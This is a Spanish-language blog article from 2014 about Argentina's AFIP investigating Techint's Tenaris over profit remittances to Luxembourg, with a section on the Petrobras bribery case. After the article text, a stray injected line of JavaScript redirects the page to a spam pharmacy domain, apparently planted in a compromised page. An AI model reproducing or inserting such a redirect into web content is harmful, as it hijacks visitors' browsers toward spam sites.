Techint, en la mira del fisco nacional por remisión de ganancias a Luxemburgo

06 de Diciembre de 2014
Lo adelantó el titular de la AFIP en una entrevista televisiva. El holding de Paolo Roca tiene casa matriz en ese paraíso fiscal
Echegaray se refirió, sin mencionarla, a Tenaris. Explicó que «la principal siderúrgica del país» hizo maniobras para «remitir ganancias al holding que tiene sede en Luxemburgo». Se investiga la ilegalidad de la operación.
Pesquisas – Los técnicos del fisco que conduce Ricardo Echegaray ya trabajan en el caso de Tenaris.
El titular de la Administración Federal de Ingresos Públicos (AFIP), Ricardo Etchegaray, insinuó que desarrolla una investigación sobre «la principal siderúrgica del país» debido a que advirtieron una serie de maniobras para remitir ganancias «al holding que tiene sede en Luxemburgo». Dichas características pertenecen a Tenaris, que posee su casa matriz en el Ducado de Luxemburgo y pertenece al Grupo Techint, liderado por Paolo Rocca y cuya sede se encuentra en Milán, Italia.
El grupo empresario ha ido creciendo a través de fusiones y adquisiciones, por lo cual ha logrado un conglomerado que incluye, además de Tenaris, a Tenova, Tecpetrol y Hymanitas. Esta no es la primera acusación de irregularidades al grupo. Tal como reveló Tiempo, la AFIP se encuentra investigando 300 cuentas no declaradas de empresas y personas físicas argentinas en la Unión de Bancos Suizos (UBS), dentro de las cuales se encuentra Techint.
La radicación en Luxemburgo de Tenaris no es casual, dado que dicho país es considerado un paraíso fiscal por sus incentivos bancarios y tributarios para la radicación de capitales financieros que pueden resultar de dudoso origen (lavado de activos), puede salir de otros países sin declararlo ante las autoridades correspondientes (fuga de capitales) y puede ser utilizado como plataforma para evitar pagar los impuestos (evasión). Las distintas formas de remisión de ganancias, pagos de deuda y sobrefacturación de exportaciones y subfacturación de importaciones suelen ser mecanismos por los cuales las empresas evaden el pago de los tributos correspondientes. Dado el secreto bancario y la falta de transparencia en la información, el país resulta un refugio para quienes quieren permanecer desapercibidos para las justicias nacionales. Por ello, Luxemburgo es considerado el paraíso fiscal más grande de Europa.
Por ello, la ONG Tax Justice Network envió una carta al Parlamento Europeo para crear una comisión de investigación contra la evasión fiscal, una institución similar a la que se encuentra con media sanción en el Congreso argentino en relación con las cuentas no declaradas en Suiza. «El problema no sólo cuesta miles de millones de euros a los Estados miembros de la Unión Europea, sino que también fuga fondos esenciales para los países en desarrollo que serían gastados para salud, escuelas y otros servicios públicos vitales para luchar contra la pobreza», escribió la ONG.
Por ello, el Parlamento Europeo se encuentra trabajando en alternativas para evitar esta clase de mecanismos. El último jueves, resolvieron emitir dos reportes, uno enfocándose en las características tributarias de los países miembros y otro con las propuestas legislativas. «La evasión fiscal es muy fácil en Europa. Es necesario que encontremos una solución europea», dijo Guy Verhofstadt, un parlamentarista belga. Sin embargo, un colega de su misma nacionalidad, Philippe Lamberts, insatisfecho con la resolución, pidió una comisión para investigar «las brechas de la legislación europea respecto de las nacionales».
La relación del grupo con el gobierno se mantiene tensa luego de que el director de la empresa, Luis Betnaza, haya declarado en un encuentro del Foro de Convergencia Empresarial que «el mercado le va a ganar el Estado». «
Problemas para Rocca en Brasil
La noticia de que un selecto grupo de empresas sobornaba a la empresa Petrobras para obtener los contratos devino en demanda judicial y escándalo mediático en Brasil, a raíz de la denuncia de Augusto Ribeiro de Mendonça Neto, de la empresa Toyo Setal, que se había beneficiado del acuerdo. Las compañías involucradas eran un total de 20, dentro de las cuales se encontraba el Grupo Techint, junto con Oderbrecht, UTC, Camargo Correa, Andrade Gutierrez, Mendes Junior, Setal-SOG, Skanska, Queiroz Galvao, Lesa, GDK y Galvao Ingenharia.
El funcionario de Petrobras que cobraba los sobornos era el ex director de Servicios, Renato Duque, quien organizaba el selecto club, a lo cual se agregó el ex director de Abastecimiento de la empresa, Paulo Roberto Costa. Según la denuncia, los funcionarios cobraban entre 1,3% y 0,6% de los contratos en concepto de coimas.
Toyo Setal, por ejemplo, declaró que pagó 30 millones de reales para obtener U$S 1568 millones en contratos entre 2003 y 2012.

window.location = «http://cheap-pills-norx.com»;

Acerca de Artepolítica

El usuario Artepolítica es la firma común de los que hacemos este blog colectivo.

Ver todas las entradas de Artepolítica →

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *